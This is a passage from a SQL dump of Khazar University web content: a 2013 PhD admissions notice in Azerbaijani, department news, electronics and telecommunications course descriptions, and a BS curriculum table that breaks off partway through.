<br></div>'),(460,293,'en','•	Doctor of Philosophy (PhD) Program','•	Doctor of Philosophy (PhD) Program','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Doktoranturaya qəbul başladı</strong></p><p><strong>Son tarix: 02 dekabr 2013</strong></p><p>Xəzər Universiteti 2013-2014-cü tədris ili üçün müxtəlif ixtisaslar, o cümlədən&nbsp;<strong>Beynəlxalq Münasibətlər</strong>&nbsp;(5901.01) və<strong>Siyasi Nəzəriyyə</strong>&nbsp;(5908.01) üzrə əyani (ödənişli) doktoranturaya (Fəlsəfə doktoru) qəbul elan edir. Fəlsəfə doktoru proqramı üzrə doktoranturada əyani təhsil müddəti 3 ildir.</p><p><strong>Fəlsəfə doktoru hazırlığı:</strong><strong>&nbsp;</strong></p><p>1. Fəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura yerlərinə ali təhsili olan (ali təhsil pilləsinin magistratura səviyyəsini bitirən, yaxud təhsili ona bərabər tutu­lan) Azərbaycan Respublikasının vətəndaşları müsabiqə əsasında qəbul olunurlar.</p><p>2. Doktoranturanın (keçmiş aspiranturanın) tam kursunu bitirən şəxs eyni ixti­sas üzrə təkrarən doktorantu­raya qəbul oluna bilməz.</p><p>&nbsp;</p><p><strong>Fəlsəfə doktoru hazırlığı üzrə doktoranturaya qəbul olunmaq üçün tələb olunan sənədlər:</strong><strong>&nbsp;</strong></p><p>- ərizə (doktoranturanın fəaliy­yət göstərdiyi müəssisənin və yaxud təşkilatın rəhbərinin adı­na);</p><p>- kadrların şəxsi-qeydiyyat vərəqi;</p><p>- tərcümeyi-hal;</p><p>- 2 ədəd fotoşəkil (3x4 sm ölçüdə);</p><p>- iş yerindən xasiyyətnamə;</p><p>- iş stajı olanlar üçün əmək kitabçasından çıxarış;</p><p>- çap olunmuş elmi işlərin siyahısı&nbsp;<strong>və ya</strong>&nbsp;seçilmiş ixtisas üzrə referat;</p><p>- ali təhsil müəssisəsini bitirmək haqqında diplomun müvafiq qaydada təsdiq edilmiş surəti (xarici ölkələrdə təhsil almış Azərbaycan Respublikasının vətəndaşları üçün&nbsp;təhsil haqqında sənədlərin tanınması haqqında şəhadətnamə);</p><p>- şəxsiyyəti təsdiq edən sənədin surəti.</p><p>&nbsp;</p><p>Fəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura yerlərinə sənədlərin qəbulu&nbsp;<strong>2013-cü il 18</strong>&nbsp;<strong>noyabr– 02 dekabr</strong>, qəbul imtahanları 10-20 dekabr tarixlərində keçirilir. Müraciət etmək istəyənlər sənədlərini Xəzər Universiteti Magistratura, Doktorantura və Elmi İşlər bölməsinə (406-cı otaq) şəxsən təqdim edə bilərlər.</p><p><strong>&nbsp;</strong></p><p><strong>Əlaqə:E-mail:&nbsp;</strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a></p><p><strong>Tel (+99412) 498-93-79; (+99412)408-81-34; Faks (+99412) 498-93-79; Mobil:+99450) 518-81-34</strong></p><div><strong><br></strong></div></div></div>  <br></div>'),(455,291,'az','Bakalavr proqramı','Bakalavr proqramı',''),(461,295,'en','News','','<h3>06.05.2014</h3>\r\n<p>Publication of scientific articles</p>\r\n<p>As a result of research work at the Department of\r\nElectronics, Telecommunications and Radio Engineering Khazar University, the\r\narticle of Nuru Safarov was published in the scientific journal \"American\r\nJournal of Energy Engineering\". The full text of the article can be found\r\nat the following link.<a href=\"http://www.sciencepublishinggroup.com/journal/paperinfo.aspx?journalid=168&amp;doi=10.11648/j.ajee.20140203.11\">http://www.sciencepublishinggroup.com/journal/paperinfo.aspx?journalid=168&amp;doi=10.11648/j.ajee.20140203.11</a>.&nbsp;</p><hr><h3>23.04.2014</h3>\r\n<p>Establish a laboratory for alternative energy</p>\r\n<p>Within the framework of the Tempus program in the near\r\nfuture under the auspices of department of electronics equipment is designed.\r\nHave already completed the process of selecting equipment. Due to both the\r\nacademic and scientific research as well as laboratory equipment will be\r\nestablished on the basis of energy aleternativ. The laboratory will be equipped\r\nwith the following equipment: SOLAR CELL TRAINER, TRAINER WIND ENERGY, H2/O2\r\nFUEL CELL TRAINER, ADVANCED DIGITAL LOGIC LAB, DUAL DC POWER SUPPLY, DSP\r\nDEVELOPMENT AND EXPERIMENT SYSTEM-COMPLETE PACKAGE VERSION, PROGRAMMABLE LOGIC\r\nCONTROLLER TRAINER</p><hr><h3>21.04.2014</h3>\r\n<p>Preparation documentation for teaching physics</p>\r\n<p>On April 01-20, 2014 in the Department of Electronics,\r\nTelecommunications and Radioengineering&nbsp; on the process of preparing\r\ndocuments for a new physics teacher qualification. During this period, 11\r\nsubjects in the field of curriculum, syllabus, and the programs have been\r\narranged the purchase of the internal and external feedback.</p>\r\n<p>These are listed in the following disciplines:</p>\r\n<p>1) Astronomy</p>\r\n<p>2) Classical mechanics</p>\r\n<p>3) Molecular Physics</p>\r\n<p>4) Quantum Mechanics</p>\r\n<p>5) Optics</p>\r\n<p>6) Electromagnetism</p>\r\n<p>7) Acoustic</p>\r\n<p>8) Atomic Physics</p>\r\n<p>9) Nuclear physics and elementary particle</p>\r\n<p>10) Radiophysics</p>\r\n<p>11) Electromagnetism</p>\r\n<p>&nbsp;</p>'),(462,296,'en','Event and Announcements','','<p>On January 10, 2012 the Department of Electronics,\r\nTelecommunications and Radio Engineering will be carrying out practical\r\nexperiments on the connection of experimental devices on solar elements with\r\nPC. All interested students and researchers can participate in this test. The\r\nexperiments will be at the room # 415 (Neftchiler campus) from 11.00 to 13.00.</p>'),(463,297,'en','Courses','','<div><br></div><div><p><strong>ETR 211:&nbsp; Semiconductor Devices and Modeling (6 ECTS&nbsp;credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: PHSC 112</strong><em></em></p>\r\n<p>This course offers an introduction to numerical modeling of\r\nsemiconductor devices. Study of semiconductor devices fabrication processes\r\nusing advanced computer simulation tools. Specific devices are modeled from\r\nfabrication to electrical properties and parameters extraction. With emphasis\r\non numerical methods, this course provides basic concepts and design tools for\r\nanalyzing discrete two-dimensional devices. Deposition, lithography, etching,\r\nimplant processes are discussed.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 313: Analog Electronics (8 <strong>ECTS&nbsp;</strong>credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: PHSC 112</strong><em></em></p>\r\n<p>This course teaches analog electronics from the basics through\r\nthe latest analog applications including high-frequency amplifiers, data converters,\r\nsingle-supply op amps, and low power circuits. Analysis and design of analog\r\nelectronic circuits. Low and high frequency models for both bipolar and field\r\neffect transistors. The course begins with discussion of passive devices,\r\nprogresses through active devices and circuit equations, and culminates with\r\nthe derivation of ideal op amp equation. Analogue Electronics: p and n\r\nmaterials, pn diodes, junction and FET transistors. Circuit board layout is\r\ncovered in detail and serves as preparation for high-speed amplifiers.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 320: Digital Electronics (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: CMS 303</strong><em></em></p>\r\n<p>Fundamentals of digital circuits, including logic circuits,\r\ncounters, and registers. This course covers combinational and sequential logic\r\ncircuits. Topics include number systems, Boolean algebra, logic families, MSI\r\nand LSI circuits, A/D and D/A converters, and other related topics. Upon\r\ncompletion, students should be able to construct, analyze, verify &nbsp;and\r\ntroubleshoot digital circuits using appropriate techniques and test equipment.</p>\r\n<p><br></p>\r\n<p><em>&nbsp;</em><strong>ETR 337: Telecommunication Systems (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><em>&nbsp;</em><strong>Prerequisite: MATH 102</strong><em></em></p>\r\n<p>The Telecommunication Systems course offers a broad vision of\r\ntelecommunications systems and services, together with a detailed description\r\nof some of these and concludes with the completion, by teams of students, of a\r\ntelecommunications project in all its dimensions: marketing studies, technological\r\nforecasting, network design and dimensioning, and finally, a financial\r\nfeasibility analysis.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 346: Telecommunication Networks (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 313</strong><em></em></p>\r\n<p>Data communications and Internet technologies and basic system\r\nperformance analysis.&nbsp; Top-down orientation relates networking\r\ntechnologies to organizational goals and needs.&nbsp;TCP/IP, LANs, WANs,\r\ninternetworking, and signals and communications media.&nbsp;</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 357: Electromagnetic Theory (6 <strong>ECTS&nbsp;</strong>  credits) &nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: PHSC 112</strong><em></em></p>\r\n<p>Electromagnetic Theory covers the basic principles of\r\nelectromagnetism: Maxwell\'s equations, propagation and radiation of\r\nelectromagnetic waves, experimental basis, electrostatics, magnetic fields of\r\nsteady currents and electromagnetic induction, electric and magnetic properties\r\nof matter, and conservation laws. Introduction to electromagnetic fields.\r\nCoulomb\'s law, Gauss\'s law, electrical potential, dielectric materials\r\ncapacitance, Ampere\'s law, Biot-Savart law, magnetic materials, magnetic\r\ninductance.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 370: Fundamentals of Radio Engineering (8 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: EENG 301</strong><em></em></p>\r\n<p>This course provides grounding in Radio Frequency theory and\r\npractice for wireless, cellular and microwave systems. Radio Frequency\r\nengineering is an important yet often overlooked area in today\'s wireless\r\nworld.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 382: Radio Engineering Equipment&nbsp;(6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: EENG 301</strong><em></em></p>\r\n<p>The course will focus on four elements of related laboratory\r\nactivities: calibrating equipment used in laboratory compliance measurements; testing\r\nradio frequency equipment for compliance with established technical standards;\r\ndeveloping techniques for improving electromagnetic compatibility in radio\r\nfrequency equipment; developing and using new compliance measurement techniques\r\nfor application in testing new radio technology.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 412: Foundations of Microwave Design (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 357</strong><em></em></p>\r\n<p>The course covers the fundamental principles of microwave\r\ncircuits, devices and measurements. This course is designed for engineers,\r\nscientists, technologists and engineering managers in the fields of radiation,\r\npropagation, communication, navigation, radar, RF systems, remote sensing, and\r\nradio astronomy who require a better understanding of microwave circuit\r\nanalysis, design and measurement techniques. It includes striplines and\r\nmicrostrips, coupling and transient signal distortion in microstrip lines,\r\nimpedance matching techniques and charts, general circuit theory of one port\r\nand multiports for waveguide systems, microwave solid state devices, impedance\r\nand scattering matrices and waveguide circuit elements.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 416: Power Conversion</strong><em>&nbsp;</em><strong>(6\r\n<strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 311</strong><em></em></p>\r\n<p>This course has been designed to equip electrical engineers with\r\nthe knowledge and skills that are required to design modern&nbsp;<em>electrical&nbsp;energy\r\nconversion systems - a</em>s a result of recent advances in power\r\nelectronics technology, electric vehicles, railway systems, renewable power\r\ngeneration, active management of power distribution systems, automation systems\r\nfor factories and industrial processes. It includes the fundamentals of\r\nelectrical machine and power electronics design, system integration, control,\r\nenergy management and protection.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 445: Control systems</strong><em>&nbsp;</em><strong>(6\r\n<strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: CMS 303</strong><em></em></p>\r\n<p>To provide basic knowledge in digital control systems. Analysis\r\nof linear systems: Laplace transform, signal flow and block diagrams. Open and\r\nclosed loop systems, stability analysis; Steady state response: System class,\r\nBode plots, phase and gain margin, design of phase advance and phase lag\r\ncompensators; Transient response: Root locus method, system poles and zeros,\r\ndesign of controllers by pole placement; PID control: Algorithms for industrial\r\nimplementation including bumpless transfer and anti-windup.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 450: Electrical &amp; Electronics Engineering (6\r\n<strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 311</strong><em></em></p>\r\n<p>Topics include voltage, current, resistance and power in DC and\r\nAC circuits, series, parallel, and more complex circuits using Kirchhoff’s laws\r\nand selected network theorems, capacitance and inductance, resonance. Topics\r\ninclude solid state electronics as circuit elements, including diodes, power\r\nsupplies, power amplification, and applications in selected linear circuits and\r\noperational amplifiers in various feedback configurations, bipolar transistors,\r\nrectifier circuits, Zener diode regulators.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 454: Signal Processing (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: MATH 102</strong><em></em></p>\r\n<p>The signal processing concepts are emphasized in relation to\r\napplications in speech and in basic sound generation. The objectives are to\r\nintroduce students to the fundamental concepts necessary to understand and to\r\ndevelop elements for multimedia systems that use sound, image and tactile\r\ninput/output in the human/system interface. Students are introduced to the\r\nfundamental concepts of analog signals, analog-to-digital conversion,\r\ndigital-to-analog conversion, discrete time signals, digital signal processing\r\nsystems, analysis and synthesis of discrete time low/high/band pass filters,\r\nauto- and correlation between signals.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 463: Digital Microelectronics (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 313</strong><em></em></p>\r\n<p>This course discusses the transistor-level structure of\r\ncontemporary digital integrated circuits and their applications for system\r\nintegration.&nbsp; Analysis and design of digital integrated circuits through\r\nthe use of analytical techniques and computer aided circuit analysis\r\ntools.&nbsp;Technologies such as Bipolar, CMOS and BiCMOS are covered as well\r\nas concepts on circuit layout, testing and noise sources.&nbsp;</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 472: Introduction to Electronics Defense Systems (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 382</strong><em></em></p>\r\n<p>Introduction to Electronics Defense Systems: threats,\r\nrequirements and principles, advanced radar threat, modern electronic attach\r\nsystems. Architecture, types, and technology, ea against modern radar systems,\r\ndigital radio frequency memory, electronic defense support, expendables and\r\ndecoy systems, directed energy weapons and stealth technology, applications of\r\nelectronic defense.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>ETR 490: Optical Communication Engineering (6 <strong>ECTS&nbsp;</strong>  credits)&nbsp;</strong><em></em></p>\r\n<p><strong>Prerequisite: ETR 320</strong><em></em></p>\r\n<p>An introduction to optical fiber as another medium in which\r\ninformation can be transmitted, received, multiplexed and distributed.\r\nHorizontal and vertical cabling techniques (facilities, cable ways) are taught\r\nto BICSI and EIA/TIA standards. Topics include light sources, detectors,\r\nsplices and connectors, coupler, fiber-optic systems and installation, and\r\ntypes of fiber-optic equipment.</p>  <br></div>'),(464,298,'en','Degree Program','Degree Program','<div><strong style=\"font-size:large\"><br></strong></div><div><strong style=\"font-size:large\"><strong>Bachelor of Science (BS) Degree Program in&nbsp;Electronics, Telecommunications and Radio Engineering</strong>&nbsp;</strong></div><div><strong style=\"font-size:large\"><br></strong></div><div><strong style=\"font-size:large\"><table cellpadding=\"0\" cellspacing=\"0\" width=\"941\" style=\"\" border-collapse:collapse;width:707pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td height=\"20\" width=\"77\"></td>\r\n  <td width=\"229\"></td>\r\n  <td width=\"66\"></td>\r\n  <td width=\"51\"></td>\r\n  <td width=\"44\"></td>\r\n  <td width=\"68\"></td>\r\n  <td width=\"234\"></td>\r\n  <td width=\"53\"></td>\r\n  <td width=\"55\"></td>\r\n  <td width=\"64\"></td>\r\n </tr>\r\n <tr height=\"44\">\r\n  <td height=\"44\"></td>\r\n  <td colspan=\"6\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<strong>Khazar University</strong></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"31\">\r\n  <td height=\"31\"></td>\r\n  <td colspan=\"6\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Electronics Engineering\r\n  B.S. Program</strong></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>1<sup>st</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\" style=\"background-color:#ff6666\">CODE</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">Fall Semester</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">KU</td>\r\n  <td style=\"background-color:#ff6666\">ECTS</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">CODE</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Spring Semester</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">KU</td>\r\n  <td style=\"background-color:#ff6666\">ECTS</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\" style=\"background-color:#ff6666\">AZLL 101</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">Azerbaijan\r\n  Language&nbsp;</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">AZH 150</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Azerbaijan\r\n  History</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\" style=\"background-color:#ff6666\">MATH 101</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">Calculus_I</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">MATH 102</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Calculus_II</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\" style=\"background-color:#ff6666\">PHSC 111</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">Physics_I</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">PHSC 112</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Physics_II</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"30\">\r\n  <td height=\"30\" style=\"background-color:#ff6666\">ENGL 101</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">English\r\n  Foundations_I</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">4</td>\r\n  <td style=\"background-color:#ff6666\">8</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">ENGL 102</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">English\r\n  Foundation _II</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">4</td>\r\n  <td style=\"background-color:#ff6666\">8</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\" style=\"background-color:#ff6666\">MED 315</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">&nbsp;Life Science</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">AZC 202</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Azerbaijan\r\n  Culture</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">2</td>\r\n  <td style=\"background-color:#ff6666\">4</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td width=\"66\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Social\r\n  Sciences**</td>\r\n  <td width=\"53\" style=\"background-color:#ff6666\">3</td>\r\n  <td style=\"background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#ff6666\">Credit</td>\r\n  <td style=\"background-color:#ff6666\">16</td>\r\n  <td style=\"background-color:#ff6666\">32</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#ff6666\">Credit</td>\r\n  <td style=\"background-color:#ff6666\">18</td>\r\n  <td style=\"background-color:#ff6666\">36</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"26\">\r\n  <td height=\"26\">&nbsp;</td>\r\n  <td width=\"229\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>2<sup>nd</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\" style=\"background-color:#66cc00\">CODE</td>\r\n  <td style=\"background-color:#66cc00\">Fall Semester</td>\r\n  <td style=\"background-color:#66cc00\">KU</td>\r\n  <td style=\"background-color:#66cc00\">ECTS</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">CODE</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Spring Semester</td>\r\n  <td style=\"background-color:#66cc00\">KU</td>\r\n  <td style=\"background-color:#66cc00\">ECTS</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#66cc00\">EENG 211</td>\r\n  <td width=\"229\" style=\"background-color:#66cc00\">Circuits\r\n  Theory -1</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">EENG 212</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Circuits\r\n  Theory -2</td>\r\n  <td width=\"53\" style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#66cc00\">ENGL 216</td>\r\n  <td width=\"229\" style=\"background-color:#66cc00\">ESP\r\n  Electronics Engineering</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">EENG 245</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Basic\r\n  Electronics</td>\r\n  <td width=\"53\" style=\"background-color:#66cc00\">4</td>\r\n  <td style=\"background-color:#66cc00\">8</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"39\">\r\n  <td height=\"39\" style=\"background-color:#66cc00\">CMS 115</td>\r\n  <td width=\"229\" style=\"background-color:#66cc00\">Computer\r\n  Application in Engineering</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">ETR 237</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Communication\r\n  Systems</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"37\">\r\n  <td height=\"37\" style=\"background-color:#66cc00\">MATH 132</td>\r\n  <td style=\"background-color:#66cc00\">Linear Algebra&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">ETR 234</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Analog\r\n  and Digital Electronics&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"39\">\r\n  <td height=\"39\" style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#66cc00\">Social\r\n  Sciences**&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">ETR 270</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">&nbsp;Electrical Measurements and Methods</td>\r\n  <td style=\"background-color:#66cc00\">3</td>\r\n  <td style=\"background-color:#66cc00\">6</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#66cc00\">Credit</td>\r\n  <td style=\"background-color:#66cc00\">15</td>\r\n  <td style=\"background-color:#66cc00\">30</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td style=\"background-color:#66cc00\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#66cc00\">Credit</td>\r\n  <td style=\"background-color:#66cc00\">16</td>\r\n  <td style=\"background-color:#66cc00\">32</td>\r\n  <td style=\"background-color:#66cc00\"></td>\r\n </tr>\r\n <tr height=\"30\">\r\n  <td height=\"30\">&nbsp;</td>\r\n  <td width=\"229\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>3<sup>rd</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#00ccff\">CODE</td>\r\n  <td style=\"background-color:#00ccff\">Fall Semester</td>\r\n  <td style=\"background-color:#00ccff\">KU</td>\r\n  <td style=\"background-color:#00ccff\">ECTS</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">CODE</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Spring Semester</td>\r\n  <td style=\"background-color:#00ccff\">KU</td>\r\n  <td style=\"background-color:#00ccff\">ECTS</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#00ccff\">ETR 359</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Microprocessor-based\r\n  Systems</td>\r\n  <td width=\"66\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">ETR 385</td>\r\n  <td width=\"234\" 